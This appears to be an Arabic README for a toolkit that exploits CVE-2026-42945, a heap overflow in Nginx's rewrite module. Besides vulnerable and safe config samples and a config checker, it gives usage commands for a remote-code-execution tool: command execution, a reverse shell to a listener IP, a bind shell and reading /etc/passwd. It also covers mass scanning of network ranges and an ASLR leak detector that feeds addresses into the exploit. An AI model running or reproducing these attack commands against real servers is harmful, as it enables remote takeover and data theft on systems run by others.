
CVE-2026-42945 Nginx Rift
مجموعة أدوات متكاملة لإثبات المفهوم (PoC) لثغرة CVE-2026-42945 (Nginx Rift)، وهي ثغرة حرجة من نوع تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) في وحدة ngx_http_rewrite_module في Nginx.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-42945 |
| الاسم | Nginx Rift |
| النوع | تجاوز سعة المخزن المؤقت في الكومة |
| المكون | ngx_http_rewrite_module |
| الخطورة | حرجة (CVSS 9.2) |
| المتأثر | Nginx 0.6.27 - 1.30.0 |
| المُصحَّح | Nginx 1.30.1 / 1.31.0 |
توجد الثغرة بسبب خطأ في حساب الحجم بين تمريرين داخليين عند معالجة قواعد إعادة الكتابة (rewrite). إذا كان التكوين يستخدم:
$1، $2، إلخ.)?يحسب Nginx حجم المخزن المؤقت المطلوب بشكل خاطئ خلال التمرير الأول، ويكتب خارج حدود المخزن المؤقت المخصص في الكومة خلال التمرير الثاني.
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - أداة PoC الأساسيةأداة مسح ضوئي واستغلال تستهدف هدفًا واحدًا.
الميزات:
Serverالاستخدام:
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - الماسح الضوئي الجماعيماسح ضوئي مجمّع لفحص أهداف متعددة في وقت واحد.
الميزات:
الاستخدام:
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
تنسيق ملف الأهداف:
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - محلل التكوينمسح ملفات تكوين Nginx المحلية بحثًا عن أنماط إعادة كتابة ضعيفة.
الميزات:
nginx.conf وتتبُّع توجيهات include? في سلاسل الاستبدالالاستخدام:
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
enhanced_poc.py - أداة PoC المحسّنة لاستغلال التحكم عن بُعد (RCE)أداة استغلال متقدمة تستند إلى الأبحاث الرسمية من depthfirst، وتدعم أنماط إعادة كتابة وأوضاع استغلال متعددة.
الميزات:
/api/، /redirect/، /user/، إلخ.)+، &، =، %)cmd / shell / bind / readngx_pool_cleanup_s مزيفالاستخدام:
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
تفاصيل وضع الاستغلال:
| الوضع | الوصف | المخرجات |
|---|---|---|
cmd | تنفيذ أمر shell واحد | مخرجات الأمر على الهدف |
shell | إنشاء shell عكسي | يتصل بـ --listen-ip:listen-port |
bind | إنشاء shell مرتبط على الهدف | يستمع على --listen-port على الهدف |
read | قراءة ملف من الهدف | يكتب المحتوى إلى /tmp/nginx_rift_read |
تكوين العناوين (فقط في بيئات تم تعطيل ASLR فيها):
--heap-base: القاعدة الأساسية للكومة المستهدفة (مثل 0x555555559000)--libc-base: عنوان قاعدة libc (مثل 0x7ffff77ba000)--system-addr: عنوان system() مباشرة (يتجاوز libc-base)aslr_leak_detector.py - كاشف تسرب ASLRماسح ضوئي شامل لكشف تسرب المعلومات الذي يمكنه تجاوز حماية ASLR.
الميزات:
/nginx_status، /actuator/*، إلخ.)enhanced_poc.py عبر تقرير JSONالاستخدام:
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
التكامل مع PoC المحسَّنة:
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
تحدد أداة PoC الثغرة من خلال هذه المؤشرات:
| المؤشر | الوصف |
|---|---|
| انقطاع الاتصال | يغلق الهدف الاتصال بشكل غير متوقع (تعطل العامل) |
| أخطاء البوابة | استجابات HTTP 502/503/504 (توقف عملية العامل) |
| استجابات بطيئة | زيادة كبيرة في وقت الاستجابة (استرداد بعد التعطل) |
| استجابات فارغة | اختفاء محتوى الاستجابة مقارنة بالخط الأساسي |
| تطابق الإصدار | إصدار Nginx المكتشف ضمن النطاق المعرض للثغرة |
لا يتطلب أي تبعيات خارجية. يستخدم فقط مكتبات Python القياسية.
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version